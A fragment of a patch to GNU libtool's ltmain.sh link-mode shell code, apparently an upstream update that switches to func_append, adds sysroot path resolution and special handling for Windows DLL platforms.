-@@ -5144,11 +6012,13 @@ func_mode_link ()
- else
- shlib_search_path=
- fi
-- eval "sys_lib_search_path=\"$sys_lib_search_path_spec\""
-- eval "sys_lib_dlsearch_path=\"$sys_lib_dlsearch_path_spec\""
-+ eval sys_lib_search_path=\"$sys_lib_search_path_spec\"
-+ eval sys_lib_dlsearch_path=\"$sys_lib_dlsearch_path_spec\"
-
- func_dirname "$output" "/" ""
- output_objdir="$func_dirname_result$objdir"
-+ func_to_tool_file "$output_objdir/"
-+ tool_output_objdir=$func_to_tool_file_result
- # Create the object directory.
- func_mkdir_p "$output_objdir"
-
-@@ -5169,12 +6039,12 @@ func_mode_link ()
- # Find all interdependent deplibs by searching for libraries
- # that are linked more than once (e.g. -la -lb -la)
- for deplib in $deplibs; do
-- if $opt_duplicate_deps ; then
-+ if $opt_preserve_dup_deps ; then
- case "$libs " in
-- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
-+ *" $deplib "*) func_append specialdeplibs " $deplib" ;;
- esac
- fi
-- libs="$libs $deplib"
-+ func_append libs " $deplib"
- done
-
- if test "$linkmode" = lib; then
-@@ -5187,9 +6057,9 @@ func_mode_link ()
- if $opt_duplicate_compiler_generated_deps; then
- for pre_post_dep in $predeps $postdeps; do
- case "$pre_post_deps " in
-- *" $pre_post_dep "*) specialdeplibs="$specialdeplibs $pre_post_deps" ;;
-+ *" $pre_post_dep "*) func_append specialdeplibs " $pre_post_deps" ;;
- esac
-- pre_post_deps="$pre_post_deps $pre_post_dep"
-+ func_append pre_post_deps " $pre_post_dep"
- done
- fi
- pre_post_deps=
-@@ -5256,8 +6126,9 @@ func_mode_link ()
- for lib in $dlprefiles; do
- # Ignore non-libtool-libs
- dependency_libs=
-+ func_resolve_sysroot "$lib"
- case $lib in
-- *.la) func_source "$lib" ;;
-+ *.la) func_source "$func_resolve_sysroot_result" ;;
- esac
-
- # Collect preopened libtool deplibs, except any this library
-@@ -5267,7 +6138,7 @@ func_mode_link ()
- deplib_base=$func_basename_result
- case " $weak_libs " in
- *" $deplib_base "*) ;;
-- *) deplibs="$deplibs $deplib" ;;
-+ *) func_append deplibs " $deplib" ;;
- esac
- done
- done
-@@ -5288,11 +6159,11 @@ func_mode_link ()
- compile_deplibs="$deplib $compile_deplibs"
- finalize_deplibs="$deplib $finalize_deplibs"
- else
-- compiler_flags="$compiler_flags $deplib"
-+ func_append compiler_flags " $deplib"
- if test "$linkmode" = lib ; then
- case "$new_inherited_linker_flags " in
- *" $deplib "*) ;;
-- * ) new_inherited_linker_flags="$new_inherited_linker_flags $deplib" ;;
-+ * ) func_append new_inherited_linker_flags " $deplib" ;;
- esac
- fi
- fi
-@@ -5377,7 +6248,7 @@ func_mode_link ()
- if test "$linkmode" = lib ; then
- case "$new_inherited_linker_flags " in
- *" $deplib "*) ;;
-- * ) new_inherited_linker_flags="$new_inherited_linker_flags $deplib" ;;
-+ * ) func_append new_inherited_linker_flags " $deplib" ;;
- esac
- fi
- fi
-@@ -5390,7 +6261,8 @@ func_mode_link ()
- test "$pass" = conv && continue
- newdependency_libs="$deplib $newdependency_libs"
- func_stripname '-L' '' "$deplib"
-- newlib_search_path="$newlib_search_path $func_stripname_result"
-+ func_resolve_sysroot "$func_stripname_result"
-+ func_append newlib_search_path " $func_resolve_sysroot_result"
- ;;
- prog)
- if test "$pass" = conv; then
-@@ -5404,7 +6276,8 @@ func_mode_link ()
- finalize_deplibs="$deplib $finalize_deplibs"
- fi
- func_stripname '-L' '' "$deplib"
-- newlib_search_path="$newlib_search_path $func_stripname_result"
-+ func_resolve_sysroot "$func_stripname_result"
-+ func_append newlib_search_path " $func_resolve_sysroot_result"
- ;;
- *)
- func_warning "\`-L' is ignored for archives/objects"
-@@ -5415,17 +6288,21 @@ func_mode_link ()
- -R*)
- if test "$pass" = link; then
- func_stripname '-R' '' "$deplib"
-- dir=$func_stripname_result
-+ func_resolve_sysroot "$func_stripname_result"
-+ dir=$func_resolve_sysroot_result
- # Make sure the xrpath contains only unique directories.
- case "$xrpath " in
- *" $dir "*) ;;
-- *) xrpath="$xrpath $dir" ;;
-+ *) func_append xrpath " $dir" ;;
- esac
- fi
- deplibs="$deplib $deplibs"
- continue
- ;;
-- *.la) lib="$deplib" ;;
-+ *.la)
-+ func_resolve_sysroot "$deplib"
-+ lib=$func_resolve_sysroot_result
-+ ;;
- *.$libext)
- if test "$pass" = conv; then
- deplibs="$deplib $deplibs"
-@@ -5488,11 +6365,11 @@ func_mode_link ()
- if test "$pass" = dlpreopen || test "$dlopen_support" != yes || test "$build_libtool_libs" = no; then
- # If there is no dlopen support or we're linking statically,
- # we need to preload.
-- newdlprefiles="$newdlprefiles $deplib"
-+ func_append newdlprefiles " $deplib"
- compile_deplibs="$deplib $compile_deplibs"
- finalize_deplibs="$deplib $finalize_deplibs"
- else
-- newdlfiles="$newdlfiles $deplib"
-+ func_append newdlfiles " $deplib"
- fi
- fi
- continue
-@@ -5538,7 +6415,7 @@ func_mode_link ()
- for tmp_inherited_linker_flag in $tmp_inherited_linker_flags; do
- case " $new_inherited_linker_flags " in
- *" $tmp_inherited_linker_flag "*) ;;
-- *) new_inherited_linker_flags="$new_inherited_linker_flags $tmp_inherited_linker_flag";;
-+ *) func_append new_inherited_linker_flags " $tmp_inherited_linker_flag";;
- esac
- done
- fi
-@@ -5546,8 +6423,8 @@ func_mode_link ()
- if test "$linkmode,$pass" = "lib,link" ||
- test "$linkmode,$pass" = "prog,scan" ||
- { test "$linkmode" != prog && test "$linkmode" != lib; }; then
-- test -n "$dlopen" && dlfiles="$dlfiles $dlopen"
-- test -n "$dlpreopen" && dlprefiles="$dlprefiles $dlpreopen"
-+ test -n "$dlopen" && func_append dlfiles " $dlopen"
-+ test -n "$dlpreopen" && func_append dlprefiles " $dlpreopen"
- fi
-
- if test "$pass" = conv; then
-@@ -5558,20 +6435,20 @@ func_mode_link ()
- func_fatal_error "cannot find name of link library for \`$lib'"
- fi
- # It is a libtool convenience library, so add in its objects.
-- convenience="$convenience $ladir/$objdir/$old_library"
-- old_convenience="$old_convenience $ladir/$objdir/$old_library"
-+ func_append convenience " $ladir/$objdir/$old_library"
-+ func_append old_convenience " $ladir/$objdir/$old_library"
- elif test "$linkmode" != prog && test "$linkmode" != lib; then
- func_fatal_error "\`$lib' is not a convenience library"
- fi
- tmp_libs=
- for deplib in $dependency_libs; do
- deplibs="$deplib $deplibs"
-- if $opt_duplicate_deps ; then
-+ if $opt_preserve_dup_deps ; then
- case "$tmp_libs " in
-- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
-+ *" $deplib "*) func_append specialdeplibs " $deplib" ;;
- esac
- fi
-- tmp_libs="$tmp_libs $deplib"
-+ func_append tmp_libs " $deplib"
- done
- continue
- fi # $pass = conv
-@@ -5579,9 +6456,15 @@ func_mode_link ()
-
- # Get the name of the library we link against.
- linklib=
-- for l in $old_library $library_names; do
-- linklib="$l"
-- done
-+ if test -n "$old_library" &&
-+ { test "$prefer_static_libs" = yes ||
-+ test "$prefer_static_libs,$installed" = "built,no"; }; then
-+ linklib=$old_library
-+ else
-+ for l in $old_library $library_names; do
-+ linklib="$l"
-+ done
-+ fi
- if test -z "$linklib"; then
- func_fatal_error "cannot find name of link library for \`$lib'"
- fi
-@@ -5598,9 +6481,9 @@ func_mode_link ()
- # statically, we need to preload. We also need to preload any
- # dependent libraries so libltdl's deplib preloader doesn't
- # bomb out in the load deplibs phase.
-- dlprefiles="$dlprefiles $lib $dependency_libs"
-+ func_append dlprefiles " $lib $dependency_libs"
- else
-- newdlfiles="$newdlfiles $lib"
-+ func_append newdlfiles " $lib"
- fi
- continue
- fi # $pass = dlopen
-@@ -5622,14 +6505,14 @@ func_mode_link ()
-
- # Find the relevant object directory and library name.
- if test "X$installed" = Xyes; then
-- if test ! -f "$libdir/$linklib" && test -f "$abs_ladir/$linklib"; then
-+ if test ! -f "$lt_sysroot$libdir/$linklib" && test -f "$abs_ladir/$linklib"; then
- func_warning "library \`$lib' was moved."
- dir="$ladir"
- absdir="$abs_ladir"
- libdir="$abs_ladir"
- else
-- dir="$libdir"
-- absdir="$libdir"
-+ dir="$lt_sysroot$libdir"
-+ absdir="$lt_sysroot$libdir"
- fi
- test "X$hardcode_automatic" = Xyes && avoidtemprpath=yes
- else
-@@ -5637,12 +6520,12 @@ func_mode_link ()
- dir="$ladir"
- absdir="$abs_ladir"
- # Remove this search path later
-- notinst_path="$notinst_path $abs_ladir"
-+ func_append notinst_path " $abs_ladir"
- else
- dir="$ladir/$objdir"
- absdir="$abs_ladir/$objdir"
- # Remove this search path later
-- notinst_path="$notinst_path $abs_ladir"
-+ func_append notinst_path " $abs_ladir"
- fi
- fi # $installed = yes
- func_stripname 'lib' '.la' "$laname"
-@@ -5653,20 +6536,46 @@ func_mode_link ()
- if test -z "$libdir" && test "$linkmode" = prog; then
- func_fatal_error "only libraries may -dlpreopen a convenience library: \`$lib'"
- fi
-- # Prefer using a static library (so that no silly _DYNAMIC symbols
-- # are required to link).
-- if test -n "$old_library"; then
-- newdlprefiles="$newdlprefiles $dir/$old_library"
-- # Keep a list of preopened convenience libraries to check
-- # that they are being used correctly in the link pass.
-- test -z "$libdir" && \
-- dlpreconveniencelibs="$dlpreconveniencelibs $dir/$old_library"
-- # Otherwise, use the dlname, so that lt_dlopen finds it.
-- elif test -n "$dlname"; then
-- newdlprefiles="$newdlprefiles $dir/$dlname"
-- else
-- newdlprefiles="$newdlprefiles $dir/$linklib"
-- fi
-+ case "$host" in
-+ # special handling for platforms with PE-DLLs.
-+ *cygwin* | *mingw* | *cegcc* )
-+ # Linker will automatically link against shared library if both
-+ # static and shared are present. Therefore, ensure we extract
-+ # symbols from the import library if a shared library is present
-+ # (otherwise, the dlopen module name will be incorrect). We do
-+ # this by putting the import library name into $newdlprefiles.
-+ # We recover the dlopen module name by 'saving' the la file
-+ # name in a special purpose variable, and (later) extracting the
-+ # dlname from the la file.
-+ if test -n "$dlname"; then
-+ func_tr_sh "$dir/$linklib"
-+ eval "libfile_$func_tr_sh_result=\$abs_ladir/\$laname"
-+ func_append newdlprefiles " $dir/$linklib"
-+ else
-+ func_append newdlprefiles " $dir/$old_library"
-+ # Keep a list of preopened convenience libraries to check
-+ # that they are being used correctly in the link pass.
-+ test -z "$libdir" && \
-+ func_append dlpreconveniencelibs " $dir/$old_library"
-+ fi
-+ ;;
-+ * )
-+ # Prefer using a static library (so that no silly _DYNAMIC symbols
-+ # are required to link).
-+ if test -n "$old_library"; then
-+ func_append newdlprefiles " $dir/$old_library"
-+ # Keep a list of preopened convenience libraries to check
-+ # that they are being used correctly in the link pass.
-+ test -z "$libdir" && \
-+ func_append dlpreconveniencelibs " $dir/$old_library"
-+ # Otherwise, use the dlname, so that lt_dlopen finds it.
-+ elif test -n "$dlname"; then
-+ func_append newdlprefiles " $dir/$dlname"
-+ else
-+ func_append newdlprefiles " $dir/$linklib"
-+ fi
-+ ;;
-+ esac
- fi # $pass = dlpreopen
-
- if test -z "$libdir"; then
-@@ -5684,7 +6593,7 @@ func_mode_link ()
-
-
- if test "$linkmode" = prog && test "$pass" != link; then
-- newlib_search_path="$newlib_search_path $ladir"
-+ func_append newlib_search_path " $ladir"
- deplibs="$lib $deplibs"
-
- linkalldeplibs=no
-@@ -5697,7 +6606,8 @@ func_mode_link ()
- for deplib in $dependency_libs; do
- case $deplib in
- -L*) func_stripname '-L' '' "$deplib"
-- newlib_search_path="$newlib_search_path $func_stripname_result"
-+ func_resolve_sysroot "$func_stripname_result"
-+ func_append newlib_search_path " $func_resolve_sysroot_result"
- ;;
- esac
- # Need to link against all dependency_libs?
-@@ -5708,12 +6618,12 @@ func_mode_link ()
- # or/and link against static libraries
- newdependency_libs="$deplib $newdependency_libs"
- fi
-- if $opt_duplicate_deps ; then
-+ if $opt_preserve_dup_deps ; then
- case "$tmp_libs " in
-- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
-+ *" $deplib "*) func_append specialdeplibs " $deplib" ;;
- esac
- fi
-- tmp_libs="$tmp_libs $deplib"
-+ func_append tmp_libs " $deplib"
- done # for deplib
- continue
- fi # $linkmode = prog...
-@@ -5728,7 +6638,7 @@ func_mode_link ()
- # Make sure the rpath contains only unique directories.
- case "$temp_rpath:" in
- *"$absdir:"*) ;;
-- *) temp_rpath="$temp_rpath$absdir:" ;;
-+ *) func_append temp_rpath "$absdir:" ;;
- esac
- fi
-
-@@ -5740,7 +6650,7 @@ func_mode_link ()
- *)
- case "$compile_rpath " in
- *" $absdir "*) ;;
-- *) compile_rpath="$compile_rpath $absdir"
-+ *) func_append compile_rpath " $absdir" ;;
- esac
- ;;
- esac
-@@ -5749,7 +6659,7 @@ func_mode_link ()
- *)
- case "$finalize_rpath " in
- *" $libdir "*) ;;
-- *) finalize_rpath="$finalize_rpath $libdir"
-+ *) func_append finalize_rpath " $libdir" ;;
- esac
- ;;
- esac
-@@ -5774,12 +6684,12 @@ func_mode_link ()
- case $host in
- *cygwin* | *mingw* | *cegcc*)
- # No point in relinking DLLs because paths are not encoded
-- notinst_deplibs="$notinst_deplibs $lib"
-+ func_append notinst_deplibs " $lib"
- need_relink=no
- ;;
- *)
- if test "$installed" = no; then
-- notinst_deplibs="$notinst_deplibs $lib"
-+ func_append notinst_deplibs " $lib"
- need_relink=yes
- fi
- ;;
-@@ -5814,7 +6724,7 @@ func_mode_link ()
- *)
- case "$compile_rpath " in
- *" $absdir "*) ;;
-- *) compile_rpath="$compile_rpath $absdir"
-+ *) func_append compile_rpath " $absdir" ;;
- esac
- ;;
- esac
-@@ -5823,7 +6733,7 @@ func_mode_link ()
- *)
- case "$finalize_rpath " in
- *" $libdir "*) ;;
-- *) finalize_rpath="$finalize_rpath $libdir"
-+ *) func_append finalize_rpath " $libdir" ;;
- esac
- ;;
- esac
-@@ -5835,7 +6745,7 @@ func_mode_link ()
- shift
- realname="$1"
- shift
-- eval "libname=\"$libname_spec\""
-+ libname=`eval "\\$ECHO \"$libname_spec\""`
- # use dlname if we got it. it's perfectly good, no?
- if test -n "$dlname"; then
- soname="$dlname"
-@@ -5848,7 +6758,7 @@ func_mode_link ()
- versuffix="-$major"
- ;;
- esac
-- eval "soname=\"$soname_spec\""
-+ eval soname=\"$soname_spec\"
- else
- soname="$realname"
- fi
-@@ -5877,7 +6787,7 @@ func_mode_link ()
- linklib=$newlib
- fi # test -n "$old_archive_from_expsyms_cmds"
-
-- if test "$linkmode" = prog || test "$mode" != relink; then
-+ if test "$linkmode" = prog || test "$opt_mode" != relink; then
- add_shlibpath=
- add_dir=
- add=
-@@ -5933,7 +6843,7 @@ func_mode_link ()
- if test -n "$inst_prefix_dir"; then
- case $libdir in
- [\\/]*)
-- add_dir="$add_dir -L$inst_prefix_dir$libdir"
-+ func_append add_dir " -L$inst_prefix_dir$libdir"
- ;;
- esac
- fi
-@@ -5955,7 +6865,7 @@ func_mode_link ()
- if test -n "$add_shlibpath"; then
- case :$compile_shlibpath: in
- *":$add_shlibpath:"*) ;;
-- *) compile_shlibpath="$compile_shlibpath$add_shlibpath:" ;;
-+ *) func_append compile_shlibpath "$add_shlibpath:" ;;
- esac
- fi
- if test "$linkmode" = prog; then
-@@ -5969,13 +6879,13 @@ func_mode_link ()
- test "$hardcode_shlibpath_var" = yes; then
- case :$finalize_shlibpath: in
- *":$libdir:"*) ;;
-- *) finalize_shlibpath="$finalize_shlibpath$libdir:" ;;
-+ *) func_append finalize_shlibpath "$libdir:" ;;
- esac
- fi
- fi
- fi
-
-- if test "$linkmode" = prog || test "$mode" = relink; then
-+ if test "$linkmode" = prog || test "$opt_mode" = relink; then
- add_shlibpath=
- add_dir=
- add=
-@@ -5989,7 +6899,7 @@ func_mode_link ()
- elif test "$hardcode_shlibpath_var" = yes; then
- case :$finalize_shlibpath: in
- *":$libdir:"*) ;;
-- *) finalize_shlibpath="$finalize_shlibpath$libdir:" ;;
-+ *) func_append finalize_shlibpath "$libdir:" ;;
- esac
- add="-l$name"
- elif test "$hardcode_automatic" = yes; then
-@@ -6001,12 +6911,12 @@ func_mode_link ()
- fi
- else
- # We cannot seem to hardcode it, guess we'll fake it.
-- add_dir="-L$libdir"
-+ add_dir="-L$lt_sysroot$libdir"
- # Try looking first in the location we're being installed to.
- if test -n "$inst_prefix_dir"; then
- case $libdir in
- [\\/]*)
-- add_dir="$add_dir -L$inst_prefix_dir$libdir"
-+ func_append add_dir " -L$inst_prefix_dir$libdir"
- ;;
- esac
- fi
-@@ -6083,27 +6993,33 @@ func_mode_link ()
- temp_xrpath=$func_stripname_result
- case " $xrpath " in
- *" $temp_xrpath "*) ;;
-- *) xrpath="$xrpath $temp_xrpath";;
-+ *) func_append xrpath " $temp_xrpath";;
- esac;;
-- *) temp_deplibs="$temp_deplibs $libdir";;
-+ *) func_append temp_deplibs " $libdir";;
- esac
- done
- dependency_libs="$temp_deplibs"
- fi
-
-- newlib_search_path="$newlib_search_path $absdir"
-+ func_append newlib_search_path " $absdir"
- # Link against this library
- test "$link_static" = no && newdependency_libs="$abs_ladir/$laname $newdependency_libs"
- # ... and its dependency_libs
- tmp_libs=
- for deplib in $dependency_libs; do
- newdependency_libs="$deplib $newdependency_libs"
-- if $opt_duplicate_deps ; then
-+ case $deplib in
-+ -L*) func_stripname '-L' '' "$deplib"
-+ func_resolve_sysroot "$func_stripname_result";;
-+ *) func_resolve_sysroot "$deplib" ;;
-+ esac
-+ if $opt_preserve_dup_deps ; then
- case "$tmp_libs " in
-- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
-+ *" $func_resolve_sysroot_result "*)
-+ func_append specialdeplibs " $func_resolve_sysroot_result" ;;
- esac
- fi
-- tmp_libs="$tmp_libs $deplib"
-+ func_append tmp_libs " $func_resolve_sysroot_result"
- done
-
- if test "$link_all_deplibs" != no; then
-@@ -6113,8 +7029,10 @@ func_mode_link ()
- case $deplib in
- -L*) path="$deplib" ;;
- *.la)
-+ func_resolve_sysroot "$deplib"
-+ deplib=$func_resolve_sysroot_result
- func_dirname "$deplib" "" "."
-- dir="$func_dirname_result"
-+ dir=$func_dirname_result
- # We need an absolute path.
- case $dir in
- [\\/]* | [A-Za-z]:[\\/]*) absdir="$dir" ;;
-@@ -6130,7 +7048,7 @@ func_mode_link ()
- case $host in
- *-*-darwin*)
- depdepl=
-- deplibrary_names=`${SED} -n -e 's/^library_names=\(.*\)$/\1/p' $deplib`
-+ eval deplibrary_names=`${SED} -n -e 's/^library_names=\(.*\)$/\1/p' $deplib`
- if test -n "$deplibrary_names" ; then
- for tmp in $deplibrary_names ; do
- depdepl=$tmp
-@@ -6141,8 +7059,8 @@ func_mode_link ()
- if test -z "$darwin_install_name"; then
- darwin_install_name=`${OTOOL64} -L $depdepl | awk '{if (NR == 2) {print $1;exit}}'`
- fi
-- compiler_flags="$compiler_flags ${wl}-dylib_file ${wl}${darwin_install_name}:${depdepl}"
-- linker_flags="$linker_flags -dylib_file ${darwin_install_name}:${depdepl}"
-+ func_append compiler_flags " ${wl}-dylib_file ${wl}${darwin_install_name}:${depdepl}"
-+ func_append linker_flags " -dylib_file ${darwin_install_name}:${depdepl}"
- path=
- fi
- fi
-@@ -6152,7 +7070,7 @@ func_mode_link ()
- ;;
- esac
- else
-- libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib`
-+ eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib`
- test -z "$libdir" && \
- func_fatal_error "\`$deplib' is not a valid libtool archive"
- test "$absdir" != "$libdir" && \
-@@ -6192,7 +7110,7 @@ func_mode_link ()
- for dir in $newlib_search_path; do
- case "$lib_search_path " in
- *" $dir "*) ;;
-- *) lib_search_path="$lib_search_path $dir" ;;
-+ *) func_append lib_search_path " $dir" ;;
- esac
- done
- newlib_search_path=
-@@ -6205,7 +7123,7 @@ func_mode_link ()
- fi
- for var in $vars dependency_libs; do
- # Add libraries to $var in reverse order
-- eval tmp_libs=\$$var
-+ eval tmp_libs=\"\$$var\"
- new_libs=
- for deplib in $tmp_libs; do
- # FIXME: Pedantically, this is the right thing to do, so
-@@ -6250,13 +7168,13 @@ func_mode_link ()
- -L*)
- case " $tmp_libs " in
- *" $deplib "*) ;;
-- *) tmp_libs="$tmp_libs $deplib" ;;
-+ *) func_append tmp_libs " $deplib" ;;
- esac
- ;;
-- *) tmp_libs="$tmp_libs $deplib" ;;
-+ *) func_append tmp_libs " $deplib" ;;
- esac
- done
-- eval $var=\$tmp_libs
-+ eval $var=\"$tmp_libs\"
- done # for var
- fi
- # Last step: remove runtime libs from dependency_libs
-@@ -6269,7 +7187,7 @@ func_mode_link ()
- ;;
- esac
- if test -n "$i" ; then
-- tmp_libs="$tmp_libs $i"
-+ func_append tmp_libs " $i"
- fi
- done
- dependency_libs=$tmp_libs
-@@ -6310,7 +7228,7 @@ func_mode_link ()
- # Now set the variables for building old libraries.
- build_libtool_libs=no
- oldlibs="$output"
-- objs="$objs$old_deplibs"
-+ func_append objs "$old_deplibs"
- ;;
-
- lib)
-@@ -6319,8 +7237,8 @@ func_mode_link ()
- lib*)
- func_stripname 'lib' '.la' "$outputname"
- name=$func_stripname_result
-- eval "shared_ext=\"$shrext_cmds\""
-- eval "libname=\"$libname_spec\""
-+ eval shared_ext=\"$shrext_cmds\"
-+ eval libname=\"$libname_spec\"
- ;;
- *)
- test "$module" = no && \
-@@ -6330,8 +7248,8 @@ func_mode_link ()
- # Add the "lib" prefix for modules if required
- func_stripname '' '.la' "$outputname"
- name=$func_stripname_result
-- eval "shared_ext=\"$shrext_cmds\""
-- eval "libname=\"$libname_spec\""
-+ eval shared_ext=\"$shrext_cmds\"
-+ eval libname=\"$libname_spec\"
- else
- func_stripname '' '.la' "$outputname"
- libname=$func_stripname_result
-@@ -6346,7 +7264,7 @@ func_mode_link ()
- echo
- $ECHO "*** Warning: Linking the shared library $output against the non-libtool"
- $ECHO "*** objects $objs is not portable!"
-- libobjs="$libobjs $objs"
-+ func_append libobjs " $objs"
- fi
- fi
-
-@@ -6544,7 +7462,7 @@ func_mode_link ()
- done
-
- # Make executables depend on our current version.
-- verstring="$verstring:${current}.0"
-+ func_append verstring ":${current}.0"
- ;;
-
- qnx)
-@@ -6612,10 +7530,10 @@ func_mode_link ()
- fi
-
- func_generate_dlsyms "$libname" "$libname" "yes"
-- libobjs="$libobjs $symfileobj"
-+ func_append libobjs " $symfileobj"
- test "X$libobjs" = "X " && libobjs=
-
-- if test "$mode" != relink; then
-+ if test "$opt_mode" != relink; then
- # Remove our outputs, but don't remove object files since they
- # may have been created when compiling PIC objects.
- removelist=
-@@ -6631,7 +7549,7 @@ func_mode_link ()
- continue
- fi
- fi
-- removelist="$removelist $p"
-+ func_append removelist " $p"
- ;;
- *) ;;
- esac
-@@ -6642,7 +7560,7 @@ func_mode_link ()
-
- # Now set the variables for building old libraries.
- if test "$build_old_libs" = yes && test "$build_libtool_libs" != convenience ; then
-- oldlibs="$oldlibs $output_objdir/$libname.$libext"
-+ func_append oldlibs " $output_objdir/$libname.$libext"
-
- # Transform .lo files to .o files.
- oldobjs="$objs "`$ECHO "$libobjs" | $SP2NL | $SED "/\.${libext}$/d; $lo2o" | $NL2SP`
-@@ -6659,10 +7577,11 @@ func_mode_link ()
- # If the user specified any rpath flags, then add them.
- temp_xrpath=
- for libdir in $xrpath; do
-- temp_xrpath="$temp_xrpath -R$libdir"
-+ func_replace_sysroot "$libdir"
-+ func_append temp_xrpath " -R$func_replace_sysroot_result"
- case "$finalize_rpath " in
- *" $libdir "*) ;;
-- *) finalize_rpath="$finalize_rpath $libdir" ;;
-+ *) func_append finalize_rpath " $libdir" ;;
- esac
- done
- if test "$hardcode_into_libs" != yes || test "$build_old_libs" = yes; then
-@@ -6676,7 +7595,7 @@ func_mode_link ()
- for lib in $old_dlfiles; do
- case " $dlprefiles $dlfiles " in
- *" $lib "*) ;;
-- *) dlfiles="$dlfiles $lib" ;;
-+ *) func_append dlfiles " $lib" ;;
- esac
- done
-
-@@ -6686,7 +7605,7 @@ func_mode_link ()
- for lib in $old_dlprefiles; do
- case "$dlprefiles " in
- *" $lib "*) ;;
-- *) dlprefiles="$dlprefiles $lib" ;;
-+ *) func_append dlprefiles " $lib" ;;
- esac
- done
-
-@@ -6698,7 +7617,7 @@ func_mode_link ()
- ;;
- *-*-rhapsody* | *-*-darwin1.[012])
- # Rhapsody C library is in the System framework
-- deplibs="$deplibs System.ltframework"
-+ func_append deplibs " System.ltframework"
- ;;
- *-*-netbsd*)
- # Don't link with libc until the a.out ld.so is fixed.
-@@ -6715,7 +7634,7 @@ func_mode_link ()
- *)
- # Add libc to deplibs on all other systems if necessary.
- if test "$build_libtool_need_lc" = "yes"; then
-- deplibs="$deplibs -lc"
-+ func_append deplibs " -lc"
- fi
- ;;
- esac
-@@ -6764,18 +7683,18 @@ EOF
- if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
- case " $predeps $postdeps " in
- *" $i "*)
-- newdeplibs="$newdeplibs $i"
-+ func_append newdeplibs " $i"
- i=""
- ;;
- esac
- fi
- if test -n "$i" ; then
-- eval "libname=\"$libname_spec\""
-- eval "deplib_matches=\"$library_names_spec\""
-+ libname=`eval "\\$ECHO \"$libname_spec\""`
-+ deplib_matches=`eval "\\$ECHO \"$library_names_spec\""`
- set dummy $deplib_matches; shift
- deplib_match=$1
- if test `expr "$ldd_output" : ".*$deplib_match"` -ne 0 ; then
-- newdeplibs="$newdeplibs $i"
-+ func_append newdeplibs " $i"
- else
- droppeddeps=yes
- echo
-@@ -6789,7 +7708,7 @@ EOF
- fi
- ;;
- *)
-- newdeplibs="$newdeplibs $i"
-+ func_append newdeplibs " $i"
- ;;
- esac
- done
-@@ -6807,18 +7726,18 @@ EOF
- if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
- case " $predeps $postdeps " in
- *" $i "*)
-- newdeplibs="$newdeplibs $i"
-+ func_append newdeplibs " $i"
- i=""
- ;;
- esac
- fi
- if test -n "$i" ; then
-- eval "libname=\"$libname_spec\""
-- eval "deplib_matches=\"$library_names_spec\""
-+ libname=`eval "\\$ECHO \"$libname_spec\""`
-+ deplib_matches=`eval "\\$ECHO \"$library_names_spec\""`
- set dummy $deplib_matches; shift
- deplib_match=$1
- if test `expr "$ldd_output" : ".*$deplib_match"` -ne 0 ; then
-- newdeplibs="$newdeplibs $i"
-+ func_append newdeplibs " $i"
- else
- droppeddeps=yes
- echo
-@@ -6840,7 +7759,7 @@ EOF
- fi
- ;;
- *)
-- newdeplibs="$newdeplibs $i"
-+ func_append newdeplibs " $i"
- ;;
- esac
- done
-@@ -6857,15 +7776,27 @@ EOF
- if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
- case " $predeps $postdeps " in
- *" $a_deplib "*)
-- newdeplibs="$newdeplibs $a_deplib"
-+ func_append newdeplibs " $a_deplib"
- a_deplib=""
- ;;
- esac
- fi
- if test -n "$a_deplib" ; then
-- eval "libname=\"$libname_spec\""
-+ libname=`eval "\\$ECHO \"$libname_spec\""`
-+ if test -n "$file_magic_glob"; then
-+ libnameglob=`func_echo_all "$libname" | $SED -e $file_magic_glob`
-+ else
-+ libnameglob=$libname
-+ fi
-+ test "$want_nocaseglob" = yes && nocaseglob=`shopt -p nocaseglob`
- for i in $lib_search_path $sys_lib_search_path $shlib_search_path; do
-- potential_libs=`ls $i/$libname[.-]* 2>/dev/null`
-+ if test "$want_nocaseglob" = yes; then
-+ shopt -s nocaseglob
-+ potential_libs=`ls $i/$libnameglob[.-]* 2>/dev/null`
-+ $nocaseglob
-+ else
-+ potential_libs=`ls $i/$libnameglob[.-]* 2>/dev/null`
-+ fi
- for potent_lib in $potential_libs; do
- # Follow soft links.
- if ls -lLd "$potent_lib" 2>/dev/null |
-@@ -6885,10 +7816,10 @@ EOF
- *) potlib=`$ECHO "$potlib" | $SED 's,[^/]*$,,'`"$potliblink";;
- esac
- done
-- if eval "$file_magic_cmd \"\$potlib\"" 2>/dev/null |
-+ if eval $file_magic_cmd \"\$potlib\" 2>/dev/null |
- $SED -e 10q |
- $EGREP "$file_magic_regex" > /dev/null; then
-- newdeplibs="$newdeplibs $a_deplib"
-+ func_append newdeplibs " $a_deplib"
- a_deplib=""
- break 2
- fi
-@@ -6913,7 +7844,7 @@ EOF
- ;;
- *)
- # Add a -L argument.
-- newdeplibs="$newdeplibs $a_deplib"
-+ func_append newdeplibs " $a_deplib"
- ;;
- esac
- done # Gone through all deplibs.
-@@ -6929,20 +7860,20 @@ EOF
- if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
- case " $predeps $postdeps " in
- *" $a_deplib "*)
-- newdeplibs="$newdeplibs $a_deplib"
-+ func_append newdeplibs " $a_deplib"
- a_deplib=""
- ;;
- esac
- fi
- if test -n "$a_deplib" ; then
-- eval "libname=\"$libname_spec\""
-+ libname=`eval "\\$ECHO \"$libname_spec\""`
- for i in $lib_search_path $sys_lib_search_path $shlib_search_path; do
- potential_libs=`ls $i/$libname[.-]* 2>/dev/null`
- for potent_lib in $potential_libs; do
- potlib="$potent_lib" # see symlink-check above in file_magic test
- if eval "\$ECHO \"$potent_lib\"" 2>/dev/null | $SED 10q | \
- $EGREP "$match_pattern_regex" > /dev/null; then
-- newdeplibs="$newdeplibs $a_deplib"
-+ func_append newdeplibs " $a_deplib"
- a_deplib=""
- break 2
- fi
-@@ -6967,7 +7898,7 @@ EOF
- ;;
- *)
- # Add a -L argument.
-- newdeplibs="$newdeplibs $a_deplib"
-+ func_append newdeplibs " $a_deplib"
- ;;
- esac
- done # Gone through all deplibs.
-@@ -7071,7 +8002,7 @@ EOF
- *)
- case " $deplibs " in
